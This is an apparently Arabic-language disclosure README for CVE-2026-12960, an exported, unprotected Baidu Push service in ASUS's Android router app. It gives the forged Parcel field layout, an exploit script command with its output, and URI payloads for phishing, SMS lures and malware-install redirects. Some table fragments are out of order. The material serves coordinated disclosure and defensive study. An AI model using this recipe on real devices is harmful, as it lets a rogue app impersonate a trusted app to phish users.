
CVE-2026-12960 - تصدير غير صحيح لمكونات تطبيق أندرويد في تطبيق ASUS Router (com.asus.aihome). برهان المفهوم (PoC)، APK للاستغلال، فيديو، وتقرير البائع. تم الإصلاح في 1.0.0.9.74.
تصدير غير سليم لمكوّنات تطبيق أندرويد في تطبيق ASUS Router
كان أحد المكوّنات المضمّنة في تطبيق ASUS Router لنظام أندرويد (com.asus.aihome) مُعرَّفًا بالسمة android:exported="true" دون أي android:permission. ويستطيع أي تطبيق آخر على الجهاز نفسه، دون أن يمتلك أي أذونات، إرسال Intent مخصّص إليه وجعل تطبيق ASUS Router يفتح URI يتحكم فيه المهاجم بالنيابة عن المستخدم.
أُبلغت ASUS في 2026-03-17. أصلحته ASUS ونُشر كـ CVE-2026-12960 في 2026-07-03.
اكتشفه وبلّغ عنه Sedric Louissaint من Show Up Show Out Security.
| CVE | CVE-2026-12960 |
| المنتج | تطبيق ASUS Router لنظام أندرويد (com.asus.aihome) |
| المتأثر | ≤ 1.0.0.9.71 |
| أُصلح في | 1.0.0.9.74 |
| الضعف | CWE-926: التصدير غير السليم لمكوّنات تطبيق أندرويد |
| CVSS 4.0 | 6.0 متوسط CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N |
| CNA | ASUS |
| إشعار البائع | https://www.asus.com/security-advisory/ |
| اختُبر على | com.asus.aihome 1.0.0.9.71 (Google Play)، محاكي Android 11 |
يضمّ التطبيق Baidu Push SDK، الذي يصرّح بما يلي:
<service
android:name="com.baidu.android.pushservice.CommandService"
android:exported="true" />
لا توجد سمة android:permission، لذا لا يعمل التحكم في الوصول على مستوى المكوّنات في أندرويد أبدًا. يمكن لأي تطبيق مثبّت استدعاء startService() عليه.
يقرأ CommandService.onStartCommand() كائن PublicMsg القابل للـ Parcelable من الحقل الإضافي public_msg في الـ Intent الوارد ويمرّره إلى handlePrivateNotification()، التي تتفرّع بناءً على الحقل mOpenType الذي يوفّره المهاجم:
mOpenType | السلوك |
|---|---|
1 | startActivity(ACTION_VIEW, Uri.parse(mUrl)) مع mUrl الخاص بالمهاجم |
لا يتم التحقق من المرسل ولا من الحمولة. ولأن النشاط الناتج يُطلق من UID وعملية تطبيق ASUS نفسه، فإن كل ما يظهر على الشاشة يبدو وكأنه صادر من تطبيق إدارة الموجّه الموثوق الذي فتحه المستخدم للتو.
لا شيء في هذا خاص بـ Baidu من حيث الأثر. إذ يوفّر الـ SDK المكوّن المُصدَّر، ويرثه التطبيق المضيف، وهوّية التطبيق المضيف هي ما يُستعار.
PublicMsg القابل للـ Parcelable مطابقًا لتخطيط حقول الهدف.mOpenType = 1 وmUrl على URI يتحكم فيه المهاجم.CommandService. لا يتطلب أي إذن، ولا يُلقى أي SecurityException.onStartCommand() → handlePrivateNotification().startActivity(ACTION_VIEW, Uri.parse(mUrl)) من عملية تطبيق ASUS.ترتيب حقول PublicMsg، المستخرج من writeToParcel في smali مفكك الترجمة وأعيد تنفيذه في poc/PublicMsg.java:
String mMsgId, mAppId, mTitle, mDescription, mUrl, mPkgName
int mPkgVercode, mNotificationBuilder, mNotificationBasicStyle
int mOpenType, mUserConfirm
String mCustomContent, mPkgContent
int mAdvertiseStyle
String mAdvertiseSmallIconUrl, mAdvertiseLargeIconUrl, mAdvertiseClickUrl,
mAdvertiseBigPictureUrl, mAdvertiseBigPictureClickUrl, mAdvertiseDownloadClickUrl
إذا أخطأت الترتيب، يفكّ الـ Parcel الترميز إلى بيانات غير صالحة. وإذا أصبت الترتيب، يقبل الخدمة الرسالة كما لو كانت بنية الدفع الخاصة بـ Baidu هي من أرسلها.
ستة مخططات URI، وخدمة واحدة مُصدَّرة، وصفر أذونات:
media/poc_commandservice.mp4 هو التسجيل الكامل لـ 31 ثانية: البناء، التثبيت، الإطلاق، وتفاعل المحاكي مع كل حمولة تباعًا.
| الهجوم 1: صفحة تصيّد | الهجوم 2: محرر SMS | الهجوم 3: مُطلِق الاتصال | أذونات تطبيق إثبات المفهوم |
|---|---|---|---|
![]() | ![]() |
تلك اللقطة الأخيرة هي الحجة كلها. لم يُطلب أي أذونات. التطبيق الذي قاد للتو ستة إجراءات عبر تطبيق ASUS Router لم يطلب من المستخدم شيئًا على الإطلاق.
يتطلب ADB وJDK وأدوات بناء Android SDK (aapt2 وd8/dx وzipalign وapksigner) بالإضافة إلى platforms;android-30.
./poc/poc_commandservice_exploit.sh <device_serial>
ينفّذ السكربت ثلاث مراحل:
CommandService الثلاثة من com.android.shell ويبلّغ عما إذا كان أي منها مرفوضًا. الخدمة المحمية بإذن ترمي SecurityException هنا. هذه الخدمة قبلت الثلاثة.exploit_commandservice.apk، ويثبّته. توجد نسخة مبنية مسبقًا في poc/ إذا فضّلت تخطي هذه الخطوة.مخرجات المرحلة 1 على جهاز معرّض للثغرة:
[ACCESS] passthrough.notification.CLICK → service accepted intent
[ACCESS] privatenotification.CLICK → service accepted intent
[ACCESS] privatenotification.DELETE → service accepted intent
Phase 1 result: 3/3 actions accepted without permission check
وكائن ServiceRecord من dumpsys activity services، الذي يسجّل المُستدعي:
intent={act=com.baidu.android.pushservice.action.privatenotification.CLICK
cmp=com.asus.aihome/com.baidu.android.pushservice.CommandService}
recentCallingPackage=com.android.shell
startRequested=true callStart=true
المرحلة 3، من تطبيق حقيقي غير مميز بدلًا من الصدفة:
W PoCExploit: [OK] attack1_url_open → com.asus.aihome/com.baidu.android.pushservice.CommandService
W PoCExploit: [OK] attack2_sms_compose → ...
(all 6 succeed)
أعاد startService() ComponentName الهدف بدلًا من null، ولم يُلقَ أي SecurityException. حلل أندرويد الـ Intent وسلّمه.
poc/
poc_commandservice_exploit.sh Automated three-phase reproduction script
ExploitCommandService.java PoC activity + broadcast receiver source
PublicMsg.java Parcelable matching the target's field layout
AndroidManifest_PoC.xml PoC manifest (note: no <uses-permission>)
exploit_commandservice.apk Prebuilt PoC, debug-signed, zero permissions
media/
poc_commandservice.mp4 Full PoC recording
attack1-browser.jpg Stills pulled from the recording
attack2-sms.jpg
attack3-dialer.jpg
poc-app-no-permissions.jpg
vendor/
asus-security-advisory-submission.pdf The report as filed with ASUS
عنوان URL الصادر من إثبات المفهوم هو نطاق فرعي من Burp Collaborator استُخدم لتأكيد حدوث التنقل فعلًا. لم يعد صالحًا منذ زمن. استبدله بآخر خاص بك إذا كنت تعيد الإنتاج.
بالنسبة للبائع، الإصلاح هو سمة واحدة:
<service
android:name="com.baidu.android.pushservice.CommandService"
android:exported="false" />
أو، إذا كان لا بد فعليًا من أن يكون المكوّن قابلًا للوصول من الخارج، فاحمه بإذن بمستوى حماية signature وتحقق من PublicMsg بعد إزالة التسلسل قبل التعامل معه. أصدرت ASUS الإصلاح في 1.0.0.9.74.
للمستخدمين: حدّث تطبيق ASUS Router إلى 1.0.0.9.74 أو أحدث.
ولأي شخص آخر يُصدر تطبيقات أندرويد: راجع ما تصدّره حزم SDK التابعة لجهات خارجية. شغّل aapt dump xmltree base.apk AndroidManifest.xml على نسخة الإصدار الخاصة بك واقرأ كل exported="true" فيه. البيان الذي تصدره هو مجموع كل بيان دمجته، وأنت مسؤول عنه بالكامل.
| التاريخ | الحدث |
|---|---|
| 2026-03-17 | أُبلغت ASUS مع APK لإثبات المفهوم وسكربت آلي وفيديو |
| 2026-06-23 | حجزت ASUS CVE-2026-12960 بصفتها CNA |
| 2026-07-03 | نُشر CVE؛ الإصلاح متاح في 1.0.0.9.74 |
| 2026-07-25 | نُشر التوثيق العام وإثبات المفهوم |
نُشر بعد إفصاح منسّق وإصلاح من البائع، للاستخدام الدفاعي والتعليمي. يستهدف إثبات المفهوم نسخة مصححة ولا يفعل شيئًا سوى إطلاق URIs. لا تشغّله على أجهزة لا تملكها أو ليس لديك إذن كتابي لاختبارها.
2 | Intent.parseUri(mPkgContent, 0) ثم startActivity() / sendBroadcast() |
| # | المخطط | النتيجة |
|---|
| 1 | https: | يفتح المتصفح صفحة تصيّد يتحكم فيها المهاجم |
| 2 | sms: | محرر SMS معبأ مسبقًا برسالة هندسة اجتماعية |
| 3 | tel: | مُطلِق الاتصال معبأ مسبقًا برقم يتحكم فيه المهاجم |
| 4 | mailto: | محرر البريد معبأ مسبقًا لسرقة بيانات الاعتماد |
| 5 | market: | إعادة توجيه متجر Play لتثبيت برمجية خبيثة |
| 6 | geo: | إعادة توجيه الخرائط إلى مركز خدمة مزيف |
![]() |
![]() |